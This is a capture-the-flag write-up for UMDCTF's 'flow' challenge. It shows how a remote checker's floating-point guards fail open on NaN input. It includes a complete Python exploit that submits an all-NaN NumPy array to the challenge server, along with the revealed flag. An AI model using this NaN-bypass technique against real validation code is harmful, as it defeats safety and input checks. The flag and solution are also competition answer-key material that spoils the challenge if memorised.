flow
umdctf
Task: a remote checker loads a predictor and a RealNVP purification flow, then validates an adversarial candidate under L-inf and likelihood constraints before printing the flag. Solution: submit a float32 array filled with NaN so every comparison in the checker evaluates false and the success path reveals the flag.
$ ls tags/ techniques/
flow — UMDCTF
Challenge
We are given a remote service plus the local files challenge.py, predictor.py, flow.py, model weights, and a reference input window. The service asks for a base64-encoded NumPy float32 array of shape (5, 64) and checks whether it is a valid purified adversarial example.
Remote target:
nc challs.umdctf.io 30302
Analysis
The important logic is in challenge.py:
linf = float(np.max(np.abs(sub - x_ref))) if linf > EPS + 1e-6: return False lp = float(flow.log_prob(t).item()) if lp < lp_thresh: return False probs = F.softmax(predictor(purify(t, flow)), dim=1).numpy()[0] if probs[1] < CONF_FLIP: return False
All three decisions depend on floating-point comparisons performed on attacker-controlled data, but the checker never rejects NaN values.
That is fatal because IEEE-754 NaN is unordered:
nan > xisFalsenan < xisFalsenan <= xisFalsenan >= xisFalse
So if we can make every checked value become NaN, the code fails open.
Submitting an array filled with NaN does exactly that:
sub - x_refcontainsNaN, sonp.max(np.abs(...))becomesNaNandlinf > EPSis false.flow.log_prob(t)becomesNaN, solp < lp_threshis false.- The purification and predictor pipeline propagates
NaN, soprobs[1]isNaNandprobs[1] < CONF_FLIPis false.
Since none of the guards trigger, check() reaches the success branch and returns the flag.
Exploitation Strategy
- Build a NumPy array of shape
(5, 64)with dtypefloat32. - Fill it with
np.nan. - Serialize it with
np.save, because the service decodes the base64 input and callsnp.load()on the resulting bytes. - Base64-encode the
.npypayload. - Send it to the remote service.
Final Exploit
#!/usr/bin/env python3 import base64 import io import socket import numpy as np HOST = "challs.umdctf.io" PORT = 30302 def main(): arr = np.full((5, 64), np.nan, dtype=np.float32) buf = io.BytesIO() np.save(buf, arr) payload = base64.b64encode(buf.getvalue()) + b"\n" with socket.create_connection((HOST, PORT), timeout=10) as s: s.sendall(payload) out = b"" while True: chunk = s.recv(4096) if not chunk: break out += chunk print(out.decode(errors="replace")) if __name__ == "__main__": main()
The service responds with:
OK linf=nan log_prob=nan p1(purified)=nan FLAG: UMDCTF{id_like_to_thank_athalye_carlini_and_wagner_for_their_research}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [ml][free]dualflow— umdctf
- [pwn][Pro]Floats— spbctf
- [reverse][free]roulette— umdctf
- [ml][free]rush-hour— umdctf
- [web][free]open-insight— umdctf